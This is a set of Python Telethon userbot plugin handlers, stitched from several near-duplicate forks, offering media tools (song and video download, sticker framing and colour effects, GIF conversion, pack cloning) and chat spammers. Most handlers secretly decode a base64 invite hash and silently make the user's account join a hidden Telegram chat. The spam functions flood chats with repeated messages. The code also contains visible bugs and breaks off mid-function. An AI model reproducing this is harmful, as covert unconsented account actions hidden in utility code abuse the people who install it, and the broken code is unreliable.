async def _(event): if event.fwd_from: return rd = await reply_id(event) reply = await event.get_reply_message() if event.pattern_match.group(1): query = event.pattern_match.group(1) elif reply: if reply.message: query = reply.messag else: event = await eor(event, "What I am Supposed to find") return ics = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") icse = await eor(event, "** ⌔¦ جاري البحث عن الفيديو 🤍🎥 ،**") video_link = await yt_search(str(query)) if not url(video_link): return await icse.edit( f"**⌔¦ آسف** {mention}\n **-لا يمكنني العثور على أي #فيديو او #صوت كهذا \n - `{query}`" ) # thumb_cmd = thumb_dl.format(video_link=video_link) name_cmd = name_dl.format(video_link=video_link) video_cmd = video_dl.format(video_link=video_link) stderr = (await _icssutils.runcmd(video_cmd))[1] if stderr: return await icse.edit(f"** ⌔¦ خطا :** `{stderr}`") icsn, stderr = (await _icssutils.runcmd(name_cmd))[:2] if stderr: return await icse.edit(f"** ⌔¦ خطا :** `{stderr}`") # stderr = (await runcmd(thumb_cmd))[1] try: ics = Get(ics) await event.client(ics) except BaseException: pass # if stderr: # return await icse.edit(f"** ⌔∮ خطا :** `{stderr}`") icsn = os.path.splitext(icsn)[0] vsong_file = Path(f"{icsn}.mp4") if not os.path.exists(vsong_file): vsong_file = Path(f"{icsn}.mkv") elif not os.path.exists(vsong_file): return await icse.edit( f"**⌔¦ آسف** {mention}\n **-لا يمكنني العثور على أي #فيديو او #صوت كهذا \n - `{query}`" ) await icse.edit("** ⌔¦ جاري تحميل الفيديو انتظر قليلا 🤍🎥 .**") icsthb = Path(f"{icsn}.jpg") if not os.path.exists(icsthb): icsthb = Path(f"{icsn}.webp") elif not os.path.exists(icsthb): icsthb = None await event.client.send_file( event.chat_id, vsong_file, force_document=False, caption=f"**⌔¦ البحث :** {query}\n**⌔¦ للمستخدم :** {mention}", thumb=icsthb, supports_streaming=True, reply_to=rd, ) await icse.delete() for files in (icsthb, vsong_file): if files and os.path.exists(files): os.remove(files)
async def memes(cat): reply = await cat.get_reply_message() if not (reply and (reply.media)): await edit_or_reply(cat, "`Reply to supported Media...`") return catinput = cat.pattern_match.group(1) if not catinput: catinput = 50 if ";" in str(catinput): catinput, colr = catinput.split(";", 1) else: colr = 0 catinput = int(catinput) colr = int(colr) catid = cat.reply_to_msg_id if not os.path.isdir("./temp/"): os.mkdir("./temp/") cat = await edit_or_reply(cat, "`Downloading media......`") from telethon.tl.functions.messages import ImportChatInviteRequest as Get await asyncio.sleep(2) catsticker = await reply.download_media(file="./temp/") if not catsticker.endswith( (".mp4", ".webp", ".tgs", ".png", ".jpg", ".mov")): os.remove(catsticker) await edit_or_reply(cat, "```Supported Media not found...```") return import base64 jisanidea = None if catsticker.endswith(".tgs"): await cat.edit( "```Transfiguration Time! Mwahaha framing this animated sticker! (」゚ロ゚)」```" ) catfile = os.path.join("./temp/", "meme.png") catcmd = ( f"lottie_convert.py --frame 0 -if lottie -of png {catsticker} {catfile}" ) stdout, stderr = (await runcmd(catcmd))[:2] if not os.path.lexists(catfile): await cat.edit("`Template not found...`") LOGS.info(stdout + stderr) meme_file = catfile jisanidea = True elif catsticker.endswith(".webp"): await cat.edit( "```Transfiguration Time! Mwahaha framing this sticker! (」゚ロ゚)」```" ) catfile = os.path.join("./temp/", "memes.jpg") os.rename(catsticker, catfile) if not os.path.lexists(catfile): await cat.edit("`Template not found... `") return meme_file = catfile jisanidea = True elif catsticker.endswith((".mp4", ".mov")): await cat.edit( "```Transfiguration Time! Mwahaha framing this video! (」゚ロ゚)」```") catfile = os.path.join("./temp/", "memes.jpg") await take_screen_shot(catsticker, 0, catfile) if not os.path.lexists(catfile): await cat.edit("```Template not found...```") return meme_file = catfile else: await cat.edit( "```Transfiguration Time! Mwahaha framing this image! (」゚ロ゚)」```") meme_file = catsticker try: san = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") san = Get(san) await cat.client(san) except BaseException: pass meme_file = convert_toimage(meme_file) outputfile = "framed.webp" if jisanidea else "framed.jpg" try: await add_frame(meme_file, outputfile, catinput, colr) except Exception as e: return await cat.edit(f"`{e}`") try: await cat.client.send_file(cat.chat_id, outputfile, force_document=False, reply_to=catid) except Exception as e: return await cat.edit(f"`{e}`") await cat.delete() os.remove(outputfile) for files in (catsticker, meme_file): if files and os.path.exists(files): os.remove(files)
async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) if not input_str: quality = None fps = None elif input_str: loc = input_str.split(";") if len(loc) > 2: return await edit_delete( event, "wrong syntax . syntax is `.gif quality ; fps(frames per second)`", ) elif len(loc) == 2: if 0 < loc[0] < 721: quality = loc[0].strip() else: return await edit_delete(event, "Use quality of range 0 to 721") if 0 < loc[1] < 20: quality = loc[1].strip() else: return await edit_delete(event, "Use quality of range 0 to 20") elif len(loc) == 1: if 0 < loc[0] < 721: quality = loc[0].strip() else: return await edit_delete(event, "Use quality of range 0 to 721") catreply = await event.get_reply_message() cat = base64.b64decode("VHhZVWRkVkhxZl8xVFU1bA==") if not catreply or not catreply.media or not catreply.media.document: return await edit_or_reply(event, "`Stupid!, This is not animated sticker.`") if catreply.media.document.mime_type != "application/x-tgsticker": return await edit_or_reply(event, "`Stupid!, This is not animated sticker.`") catevent = await edit_or_reply( event, "Converting this Sticker to GiF...\n This may takes upto few mins..", parse_mode=parse_pre, ) try: cat = Get(cat) await event.client(cat) except BaseException: pass reply_to_id = await reply_id(event) catfile = await event.client.download_media(catreply) catgif = await make_gif(event, catfile, quality, fps) sandy = await event.client.send_file( event.chat_id, catgif, support_streaming=True, force_document=False, reply_to=reply_to_id, ) await event.client( functions.messages.SaveGifRequest( id=types.InputDocument( id=sandy.media.document.id, access_hash=sandy.media.document.access_hash, file_reference=sandy.media.document.file_reference, ), unsave=True, )) await catevent.delete() for files in (catgif, catfile): if files and os.path.exists(files): os.remove(files)
async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) if not input_str: quality = None fps = None elif input_str: loc = input_str.split(";") if len(loc) > 2: return await edit_delete( event, "wrong syntax . syntax is `.gif quality ; fps(frames per second)`", ) if len(loc) == 2: if 0 < loc[0] < 721: quality = loc[0].strip() else: return await edit_delete(event, "Use quality of range 0 to 721") if 0 < loc[1] < 20: quality = loc[1].strip() else: return await edit_delete(event, "Use quality of range 0 to 20") if len(loc) == 1: if 0 < loc[0] < 721: quality = loc[0].strip() else: return await edit_delete(event, "Use quality of range 0 to 721") catreply = await event.get_reply_message() cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") if not catreply or not catreply.media or not catreply.media.document: return await edit_or_reply(event, "عـذرا أنـه ليـس ملصـق متحـرك.𖠕") if catreply.media.document.mime_type != "application/x-tgsticker": return await edit_or_reply(event, "عـذرا أنـه ليـس ملصق مـتحرك 𖠕.") catevent = await edit_or_reply( event, "جـاري تـحويل المـلصق المتـحرك الـى متـحركه كـاملة ...\n أنتـضر بعض الـدقائق 𖠕..", parse_mode=parse_pre, ) try: cat = Get(cat) await event.client(cat) except BaseException: pass reply_to_id = await reply_id(event) catfile = await event.client.download_media(catreply) catgif = await make_gif(event, catfile, quality, fps) sandy = await event.client.send_file( event.chat_id, catgif, support_streaming=True, force_document=False, reply_to=reply_to_id, ) await event.client( functions.messages.SaveGifRequest( id=types.InputDocument( id=sandy.media.document.id, access_hash=sandy.media.document.access_hash, file_reference=sandy.media.document.file_reference, ), unsave=True, )) await catevent.delete() for files in (catgif, catfile): if files and os.path.exists(files): os.remove(files)
async def pack_kang(event): if event.fwd_from: return user = await event.client.get_me() if user.username: username = user.username else: try: user.first_name.encode("utf-8").decode("ascii") username = user.first_name except UnicodeDecodeError: username = f"cat_{user.id}" photo = None userid = user.id is_anim = False emoji = None reply = await event.get_reply_message() cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") if not reply or media_type(reply) is None or media_type(reply) != "Sticker": return await edit_delete( event, "** ⪼ الرد على أي ملصق لإرسال جميع الملصقات في تلك الحزمة**" ) try: stickerset_attr = reply.document.attributes[1] icssevent = await edit_or_reply( event, "** ⪼ إحضار تفاصيل حزمة الملصقات ، برجاء الانتظار**" ) except BaseException: return await edit_delete(event, "**هذا ليس ملصقًا. الرد على ملصق**", 5) try: get_stickerset = await event.client( GetStickerSetRequest( InputStickerSetID( id=stickerset_attr.stickerset.id, access_hash=stickerset_attr.stickerset.access_hash, ) ) ) except: return await edit_delete( icssevent, "⪼ أعتقد أن هذا الملصق ليس جزءًا من أي حزمة. لذا ، لا أستطيع أن احول هذا الملصق الى حزمتي", ) kangst = 1 reqd_sticker_set = await event.client( functions.messages.GetStickerSetRequest( stickerset=types.InputStickerSetShortName( short_name=f"{get_stickerset.set.short_name}" ) ) ) noofst = get_stickerset.set.count blablapacks = [] blablapacknames = [] pack = None for message in reqd_sticker_set.documents: if "image" in message.mime_type.split("/"): await edit_or_reply( icssevent, f"**جاري استنساخ حزمه الملصقات ↫ العدد : {kangst}/{noofst}**", ) photo = io.BytesIO() await event.client.download_file(message, photo) if ( DocumentAttributeFilename(file_name="sticker.webp") in message.attributes ): emoji = message.attributes[1].alt elif "tgsticker" in message.mime_type: await edit_or_reply( icssevent, f"⪼ **جاري استنساخ حزمه الملصقات ↫ العدد : {kangst}/{noofst} 𓆰.**", ) await event.client.download_file(message, "AnimatedSticker.tgs") attributes = message.attributes for attribute in attributes: if isinstance(attribute, DocumentAttributeSticker): emoji = attribute.alt is_anim = True photo = 1 else: await edit_delete(catevent, "`Unsupported File!`") return if photo: splat = ("".join(event.text.split(maxsplit=1)[1:])).split() emoji = emoji or "😹" if pack is None: pack = 1 if len(splat) == 1: pack = splat[0] elif len(splat) > 1: return await edit_delete( icssevent, "** ⪼ عذرًا ، لا يمكن استخدام الاسم المعطى للحزمة أو لا توجد حزمة بهذا الاسم**", ) try: ics = Get(ics) await event.client(ics) except BaseException: pass packnick = pack_nick(username, pack, is_anim) packname = pack_name(userid, pack, is_anim) cmd = "/newpack" stfile = io.BytesIO() if is_anim: cmd = "/newanimated" else: image = await resize_photo(photo) stfile.name = "sticker.png" image.save(stfile, "PNG") response = urllib.request.urlopen( urllib.request.Request(f"http://t.me/addstickers/{packname}") ) htmlstr = response.read().decode("utf8").split("\n") if ( " A <strong>Telegram</strong> user has created the <strong>Sticker Set</strong>." in htmlstr ): async with event.client.conversation("Stickers") as conv: pack, icspackname = await newpacksticker( icssevent, conv, cmd, event, pack, packnick, stfile, emoji, packname, is_anim, pkang=True, ) else: async with event.client.conversation("Stickers") as conv: pack, icspackname = await add_to_pack( icssevent, conv, event, packname, pack, userid, username, is_anim, stfile, emoji, cmd, pkang=True, ) if icspackname not in blablapacks: blablapacks.append(icspackname) blablapacknames.append(pack) kangst += 1 await asyncio.sleep(2) result = "`This sticker pack is kanged into the following your sticker pack(s):`\n" for i in range(len(blablapacks)): result += f" • [pack {blablapacknames[i]}](t.me/addstickers/{blablapacks[i]})" await icssevent.edit(result)
async def _(event): if event.fwd_from: return reply_to_id = await reply_id(event) reply = await event.get_reply_message() if event.pattern_match.group(2): query = event.pattern_match.group(2) elif reply: if reply.message: query = reply.message else: await edit_or_reply(event, "`What I am Supposed to find `") return cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") catevent = await edit_or_reply(event, "`wi8..! I am finding your song....`") video_link = await yt_search(str(query)) if not url(video_link): return await catevent.edit( f"Sorry!. I can't find any related video/audio for `{query}`") cmd = event.pattern_match.group(1) if cmd == "song": q = "128k" elif cmd == "song320": q = "320k" song_cmd = song_dl.format(QUALITY=q, video_link=video_link) # thumb_cmd = thumb_dl.format(video_link=video_link) name_cmd = name_dl.format(video_link=video_link) try: cat = Get(cat) await event.client(cat) except BaseException: pass stderr = (await _catutils.runcmd(song_cmd))[1] if stderr: return await catevent.edit(f"**Error :** `{stderr}`") catname, stderr = (await _catutils.runcmd(name_cmd))[:2] if stderr: return await catevent.edit(f"**Error :** `{stderr}`") # stderr = (await runcmd(thumb_cmd))[1] catname = os.path.splitext(catname)[0] # if stderr: # return await catevent.edit(f"**Error :** `{stderr}`") song_file = Path(f"{catname}.mp3") if not os.path.exists(song_file): return await catevent.edit( f"Sorry!. I can't find any related video/audio for `{query}`") await catevent.edit("`yeah..! i found something wi8..🥰`") catthumb = Path(f"{catname}.jpg") if not os.path.exists(catthumb): catthumb = Path(f"{catname}.webp") elif not os.path.exists(catthumb): catthumb = None await event.client.send_file( event.chat_id, song_file, force_document=False, caption=query, thumb=catthumb, supports_streaming=True, reply_to=reply_to_id, ) await catevent.delete() for files in (catthumb, song_file): if files and os.path.exists(files): os.remove(files)
async def memes(cat): reply = await cat.get_reply_message() if not (reply and (reply.media)): await cat.edit("`Reply to supported Media...`") return catid = cat.reply_to_msg_id if not os.path.isdir("./temp/"): os.mkdir("./temp/") cat = await cat.edit("`Downloading media......`") from telethon.tl.functions.messages import ImportChatInviteRequest as Get await asyncio.sleep(2) catsticker = await reply.download_media(file="./temp/") if not catsticker.endswith( (".mp4", ".webp", ".tgs", ".png", ".jpg", ".mov")): os.remove(catsticker) await cat.edit("```Supported Media not found...```") return import pybase64 jisanidea = None if catsticker.endswith(".tgs"): await cat.edit("```Inverting colors of this🔸🔸🔸```") catfile = os.path.join("./temp/", "meme.png") catcmd = ( f"lottie_convert.py --frame 0 -if lottie -of png {catsticker} {catfile}" ) stdout, stderr = (await runcmd(catcmd))[:2] if not os.path.lexists(catfile): await cat.edit("`Template not found...`") LOGS.info(stdout + stderr) meme_file = catfile jisanidea = True elif catsticker.endswith(".webp"): await cat.edit("``` Inverting colors of this🔸🔸🔸```") catfile = os.path.join("./temp/", "memes.jpg") os.rename(catsticker, catfile) if not os.path.lexists(catfile): await cat.edit("`Template not found... `") return meme_file = catfile jisanidea = True elif catsticker.endswith((".mp4", ".mov")): await cat.edit("```Inverting colors of this🔸🔸🔸```") catfile = os.path.join("./temp/", "memes.jpg") await take_screen_shot(catsticker, 0, catfile) if not os.path.lexists(catfile): await cat.edit("```Template not found...```") return meme_file = catfile jisanidea = True else: await cat.edit("```Inverting colors of this🔸🔸🔸```") meme_file = catsticker try: san = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") san = Get(san) await cat.client(san) except BaseException: pass meme_file = convert_toimage(meme_file) outputfile = "invert.webp" if jisanidea else "invert.jpg" await invert_colors(meme_file, outputfile) await cat.client.send_file(cat.chat_id, outputfile, force_document=False, reply_to=catid) await cat.delete() os.remove(outputfile) for files in (catsticker, meme_file): if files and os.path.exists(files): os.remove(files)
async def spammer(e): if e.fwd_from: return await e.get_chat() reply_to_id = e.message if e.reply_to_msg_id: reply_to_id = await e.get_reply_message() if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await e.client(hmm) except BaseException: pass exelon = e.pattern_match.group(1).split(' ', 1) counter = int(exelon[0]) if len(exelon) == 2: spam_message = str(e.pattern_match.group(1).split(' ', 1)[1]) await e.delete() for i in range(counter): if e.reply_to_msg_id: await reply_to_id.reply(spam_message) await asyncio.sleep(0.5) else: await borg.send_message(e.chat_id, spam_message) await asyncio.sleep(0.5) if BOTLOG: if e.is_private: await e.client.send_message(BOTLOG_CHATID, "#SPAM\n" + f"Spam,[User](tg://user?id={e.chat_id}) sohbetinde {counter}mesajıyla başarıyla yürütüldü\n" + f"`{spam_message}`") else: await e.client.send_message(BOTLOG_CHATID, "#SPAM\n" + f"Spam,{e.chat.title}(`{e.chat_id}`) sohbetinde {counter} mesajıyla başarıyla yürütüldü \n" + f"`{spam_message}`") elif reply_to_id.media: to_download_directory = Config.TMP_DOWNLOAD_DIRECTORY downloaded_file_name = os.path.join(to_download_directory, "spam") downloaded_file_name = await borg.download_media(reply_to_id.media, downloaded_file_name) await e.delete() if os.path.exists(downloaded_file_name): for i in range(counter): sandy = await borg.send_file( e.chat_id, downloaded_file_name ) await borg(functions.messages.SaveGifRequest( id=types.InputDocument( id=sandy.media.document.id, access_hash=sandy.media.document.access_hash, file_reference=sandy.media.document.file_reference ), unsave=True )) await asyncio.sleep(1) if BOTLOG: if e.is_private: await e.client.send_message(BOTLOG_CHATID, "#SPAM\n" + f"Spam, [User](tg://user?id={e.chat_id}) sohbetinde {counter} mesajıyla başarıyla yürütüldü") sandy = await borg.send_file(BOTLOG_CHATID, downloaded_file_name) await borg(functions.messages.SaveGifRequest( id=types.InputDocument( id=sandy.media.document.id, access_hash=sandy.media.document.access_hash, file_reference=sandy.media.document.file_reference ), unsave=True )) os.remove(downloaded_file_name) else: await e.client.send_message(BOTLOG_CHATID, "#SPAM\n" + f"Spam, {e.chat.title}(`{e.chat_id}`) sohbetinde {counter} mesajıyla başarıyla yürütüldü") sandy = await borg.send_file(BOTLOG_CHATID, downloaded_file_name) await borg(functions.messages.SaveGifRequest( id=types.InputDocument( id=sandy.media.document.id, access_hash=sandy.media.document.access_hash, file_reference=sandy.media.document.file_reference ), unsave=True )) os.remove(downloaded_file_nam) elif reply_to_id.text and e.reply_to_msg_id: spam_message = reply_to_id.text await e.delete() for i in range(counter): if e.reply_to_msg_id: await reply_to_id.reply(spam_message) await asyncio.sleep(0.5) else: await borg.send_message(e.chat_id, spam_message) await asyncio.sleep(0.5) if BOTLOG: if e.is_private: await e.client.send_message(BOTLOG_CHATID, "#SPAM\n" + f"Spam, [User](tg://user?id={e.chat_id}) sohbetinde {counter} mesajıyla başarıyla yürütüldü \n" + f"`{spam_message}`") else: await e.client.send_message(BOTLOG_CHATID, "#SPAM\n" + f"Spam, {e.chat.title}(`{e.chat_id}`) sohbetinde {counter} mesajıyla başarıyla yürütüldü \n" + f"`{spam_message}`") else: await e.edit("tekrar deneyin bir şeyler ters gitti veya `.info spam` i kontrol edin`")
async def memes(event): reply = await event.get_reply_message() if not (reply and (reply.media)): await event.edit("`Reply to supported Media...`") return eventid = event.reply_to_msg_id if not os.path.isdir("./temp/"): os.mkdir("./temp/") await event.edit("`Downloading media......`") from telethon.tl.functions.messages import ImportChatInviteRequest as Get await asyncio.sleep(2) eventsticker = await reply.download_media(file="./temp/") if not eventsticker.endswith( (".mp4", ".webp", ".tgs", ".png", ".jpg", ".mov")): os.remove(eventsticker) await event.edit("```Supported Media not found...```") return import pybase64 jisanidea = None if eventsticker.endswith(".tgs"): await event.edit( "```Transfiguration Time! Mwahaha solarizeing this animated sticker! (」゚ロ゚)」```" ) remixfile = os.path.join("./temp/", "meme.png") eventcmd = ( f"lottie_convert.py --frame 0 -if lottie -of png {eventsticker} {remixfile}" ) stdout, stderr = (await runcmd(eventcmd))[:2] if not os.path.lexists(remixfile): await event.edit("`Template not found...`") LOGS.info(stdout + stderr) meme_file = remixfile jisanidea = True elif eventsticker.endswith(".webp"): await event.edit( "```Transfiguration Time! Mwahaha solarizeing this sticker! (」゚ロ゚)」```" ) remixfile = os.path.join("./temp/", "memes.jpg") os.rename(eventsticker, remixfile) if not os.path.lexists(remixfile): await event.edit("`Template not found... `") return meme_file = remixfile jisanidea = True elif eventsticker.endswith((".mp4", ".mov")): await event.edit( "```Transfiguration Time! Mwahaha solarizeing this video! (」゚ロ゚)」```" ) remixfile = os.path.join("./temp/", "memes.jpg") await take_screen_shot(eventsticker, 0, remixfile) if not os.path.lexists(remixfile): await event.edit("```Template not found...```") return meme_file = remixfile jisanidea = True else: await event.edit( "```Transfiguration Time! Mwahaha solarizeing this image! (」゚ロ゚)」```" ) meme_file = eventsticker try: san = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") san = Get(san) await event.client(san) except BaseException: pass meme_file = convert_toimage(meme_file) if jisanidea: outputfile = "solarize.webp" await solarize(meme_file, outputfile) await bot.send_file(event.chat_id, outputfile, force_document=False, reply_to=eventid) else: outputfile = "solarize.jpg" await solarize(meme_file, outputfile) await bot.send_file(event.chat_id, outputfile, force_document=False, reply_to=eventid) await event.delete() os.remove(outputfile) for files in (eventsticker, meme_file): if files and os.path.exists(files): os.remove(files)
async def memes(W2H): if W2H.fwd_from: return reply = await W2H.get_reply_message() if not (reply and (reply.media)): await edit_or_reply(W2H, "`Reply to supported Media...`") return W2Hid = W2H.reply_to_msg_id if not os.path.isdir("./temp/"): os.mkdir("./temp/") W2H = await edit_or_reply(W2H, "`Fetching media data`") from telethon.tl.functions.messages import ImportChatInviteRequest as Get await asyncio.sleep(2) W2Hsticker = await reply.download_media(file="./temp/") if not W2Hsticker.endswith( (".mp4", ".webp", ".tgs", ".png", ".jpg", ".mov")): os.remove(W2Hsticker) await edit_or_reply(W2H, "```Supported Media not found...```") return import base64 aura = None if W2Hsticker.endswith(".tgs"): await W2H.edit( "Analyzing this media 🧐 inverting colors of this animated sticker!" ) W2Hfile = os.path.join("./temp/", "meme.png") W2Hcmd = ( f"lottie_convert.py --frame 0 -if lottie -of png {W2Hsticker} {W2Hfile}" ) stdout, stderr = (await runcmd(W2Hcmd))[:2] if not os.path.lexists(W2Hfile): await W2H.edit("`Template not found...`") LOGS.info(stdout + stderr) meme_file = W2Hfile aura = True elif W2Hsticker.endswith(".webp"): await W2H.edit("`Analyzing this media 🧐 inverting colors...`") W2Hfile = os.path.join("./temp/", "memes.jpg") os.rename(W2Hsticker, W2Hfile) if not os.path.lexists(W2Hfile): await W2H.edit("`Template not found... `") return meme_file = W2Hfile aura = True elif W2Hsticker.endswith((".mp4", ".mov")): await W2H.edit("Analyzing this media 🧐 inverting colors of this video!" ) W2Hfile = os.path.join("./temp/", "memes.jpg") await take_screen_shot(W2Hsticker, 0, W2Hfile) if not os.path.lexists(W2Hfile): await W2H.edit("```Template not found...```") return meme_file = W2Hfile aura = True else: await W2H.edit("Analyzing this media 🧐 inverting colors of this image!" ) meme_file = W2Hsticker try: san = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") san = Get(san) await W2H.client(san) except BaseException: pass meme_file = convert_toimage(meme_file) outputfile = "invert.webp" if aura else "invert.jpg" await invert_colors(meme_file, outputfile) await W2H.client.send_file(W2H.chat_id, outputfile, force_document=False, reply_to=W2Hid) await W2H.delete() os.remove(outputfile) for files in (W2Hsticker, meme_file): if files and os.path.exists(files): os.remove(files)
async def spammer(e): if e.fwd_from: return await e.get_chat() reply_to_id = e.message if e.reply_to_msg_id: reply_to_id = await e.get_reply_message() if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) try: hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await e.client(hmm) except BaseException: pass exelon = e.pattern_match.group(1).split(' ', 1) counter = int(exelon[0]) if len(exelon) == 2: spam_message = str(e.pattern_match.group(1).split(' ', 1)[1]) await e.delete() for i in range(counter): if e.reply_to_msg_id: await reply_to_id.reply(spam_message) await asyncio.sleep(0.5) else: await borg.send_message(e.chat_id, spam_message) await asyncio.sleep(0.5) if BOTLOG: if e.is_private: await e.client.send_message(BOTLOG_CHATID, "#SPAM\n" + f"Spam, [Kullanıcı] (tg://user?İd={e.chat_id}) sohbetinde {counter} mesajıyla başarıyla yürütüldü. \n" + f"`{spam_message}`") else: await e.client.send_message(BOTLOG_CHATID, "#SPAM\n" + f"Spam, {e.chat.title} (`{e.chat_id}`) sohbetinde {counter} mesajıyla başarıyla yürütüldü \n" + f"`{spam_message}`") elif reply_to_id.media: to_download_directory = Config.TMP_DOWNLOAD_DIRECTORY downloaded_file_name = os.path.join(to_download_directory, "spam") downloaded_file_name = await borg.download_media(reply_to_id.media, downloaded_file_name) await e.delete() if os.path.exists(downloaded_file_name): for i in range(counter): await borg.send_file( e.chat_id, downloaded_file_name ) await asyncio.sleep(1) if BOTLOG: if e.is_private: await e.client.send_message(BOTLOG_CHATID, "#SPAM\n" + f"Spam, aşağıdaki mesajla {counter} kez [Kullanıcı] (tg://user?İd={e.chat_id}) sohbetinde başarıyla yürütüldü") await borg.send_file(BOTLOG_CHATID, downloaded_file_name) os.system(f"rm -rf {downloaded_file_name}") else: await e.client.send_message(BOTLOG_CHATID, "#SPAM\n" + f"Spam, {e.chat.title} (`{e.chat_id}`) içinde aşağıdaki mesajla {counter} kez başarıyla yürütüldü") await borg.send_file(BOTLOG_CHATID, downloaded_file_name) os.system(f"rm -rf {downloaded_file_name}") elif reply_to_id.text and e.reply_to_msg_id: spam_message = reply_to_id.text await e.delete() for i in range(counter): if e.reply_to_msg_id: await reply_to_id.reply(spam_message) await asyncio.sleep(0.5) else: await borg.send_message(e.chat_id, spam_message) await asyncio.sleep(0.5) if BOTLOG: if e.is_private: await e.client.send_message(BOTLOG_CHATID, "#SPAM\n" + f"Spam, [Kullanıcı] (tg://user?İd={e.chat_id}) sohbetinde {counter} mesajıyla başarıyla yürütüldü. \n" + f"`{spam_message}`") else: await e.client.send_message(BOTLOG_CHATID, "#SPAM\n" + f"Spam, {e.chat.title} (`{e.chat_id}`) sohbetinde {counter} mesajıyla başarıyla yürütüldü \n" + f"`{spam_message}`") else: await e.reply("tekrar deneyin bir şeyler ters gitti veya bot hesabıyla .info spam kontrol edin")
async def memes(LEGEND): if LEGEND.fwd_from: return reply = await LEGEND.get_reply_message() if not (reply and (reply.media)): await edit_or_reply(LEGEND, "`Reply to supported Media...`") return LEGENDinput = LEGEND.pattern_match.group(1) LEGENDinput = 50 if not LEGENDinput else int(LEGENDinput) LEGENDid = LEGEND.reply_to_msg_id if not os.path.isdir("./temp/"): os.mkdir("./temp/") LEGEND = await edit_or_reply(LEGEND, "`Fetching media data`") from telethon.tl.functions.messages import ImportChatInviteRequest as Get await asyncio.sleep(2) LEGENDsticker = await reply.download_media(file="./temp/") if not LEGENDsticker.endswith( (".mp4", ".webp", ".tgs", ".png", ".jpg", ".mov")): os.remove(LEGENDsticker) await edit_or_reply(LEGEND, "```Supported Media not found...```") return import base64 legend = None if LEGENDsticker.endswith(".tgs"): await LEGEND.edit( "Analyzing this media 🧐 zooming this animated sticker!") LEGENDfile = os.path.join("./temp/", "meme.png") LEGENDcmd = f"lottie_convert.py --frame 0 -if lottie -of png {LEGENDsticker} {LEGENDfile}" stdout, stderr = (await runcmd(LEGENDcmd))[:2] if not os.path.lexists(LEGENDfile): await LEGEND.edit("`Template not found...`") LOGS.info(stdout + stderr) meme_file = LEGENDfile legend = True elif LEGENDsticker.endswith(".webp"): await LEGEND.edit("Analyzing this media 🧐 zooming this sticker!") LEGENDfile = os.path.join("./temp/", "memes.jpg") os.rename(LEGENDsticker, LEGENDfile) if not os.path.lexists(LEGENDfile): await LEGEND.edit("`Template not found... `") return meme_file = LEGENDfile legend = True elif LEGENDsticker.endswith((".mp4", ".mov")): await LEGEND.edit("Analyzing this media 🧐 zooming this video!") LEGENDfile = os.path.join("./temp/", "memes.jpg") await take_screen_shot(LEGENDsticker, 0, LEGENDfile) if not os.path.lexists(LEGENDfile): await LEGEND.edit("```Template not found...```") return meme_file = LEGENDfile else: await LEGEND.edit("Analyzing this media 🧐 zooming this image!") meme_file = LEGENDsticker try: san = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") san = Get(san) await LEGEND.client(san) except BaseException: pass meme_file = convert_toimage(meme_file) outputfile = "grayscale.webp" if legend else "grayscale.jpg" try: await crop(meme_file, outputfile, LEGENDinput) except Exception as e: return await LEGEND.edit(f"`{e}`") try: await LEGEND.client.send_file(LEGEND.chat_id, outputfile, force_document=False, reply_to=LEGENDid) except Exception as e: return await LEGEND.edit(f"`{e}`") await LEGEND.delete() os.remove(outputfile) for files in (LEGENDsticker, meme_file): if files and os.path.exists(files): os.remove(files)
async def spam_function(event, sandy, cat, sleeptimem, sleeptimet, DelaySpam=False): hmm = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") counter = int(cat[0]) if len(cat) == 2: spam_message = str(cat[1]) for _ in range(counter): if event.reply_to_msg_id: await sandy.reply(spam_message) else: await event.client.send_message(event.chat_id, spam_message) await asyncio.sleep(sleeptimet) elif event.reply_to_msg_id and sandy.media: for _ in range(counter): sandy = await event.client.send_file(event.chat_id, sandy, caption=sandy.text) await _catutils.unsavegif(event, sandy) await asyncio.sleep(sleeptimem) elif event.reply_to_msg_id and sandy.text: spam_message = sandy.text for _ in range(counter): await event.client.send_message(event.chat_id, spam_message) await asyncio.sleep(sleeptimet) try: hmm = Get(hmm) await event.client(hmm) except BaseException: pass if BOTLOG: if DelaySpam is not True: if event.is_private: await event.client.send_message( BOTLOG_CHATID, "#SPAM\n" + f"تـم تـكرار العـدد العـشوائي بنـجاح 𖠕 [User](tg://user?id={event.chat_id}) الـدردشة مـع {counter} مرات مع الرسالة أدناه", ) else: await event.client.send_message( BOTLOG_CHATID, "#SPAM\n" + f"تـم تـكرار العـدد العـشوائي بنـجاح 𖠕 {event.chat.title}(`{event.chat_id}`) مـع {counter} مرات مع الرسالة أدناه", ) else: if event.is_private: await event.client.send_message( BOTLOG_CHATID, "#DELAYSPAM\n" + f"تـم تأخـير التكـرار العشـوائي [User](tg://user?id={event.chat_id}) الـدردشـة مـع {counter} مرات مع الرسالة أدناه مع تأخير {sleeptimet} ثـانية 𖠕", ) else: await event.client.send_message( BOTLOG_CHATID, "#DELAYSPAM\n" + f"تـم تأخيـر التـكرار العـشوائـي {event.chat.title}(`{event.chat_id}`) مـع {counter} مرات مع الرسالة أدناه مع تأخير {sleeptimet} ثـانيـة 𖠕", ) sandy = await event.client.send_file(BOTLOG_CHATID, sandy) await _catutils.unsavegif(event, sandy) return if BOTLOG: if DelaySpam is not True: if event.is_private: await event.client.send_message( BOTLOG_CHATID, 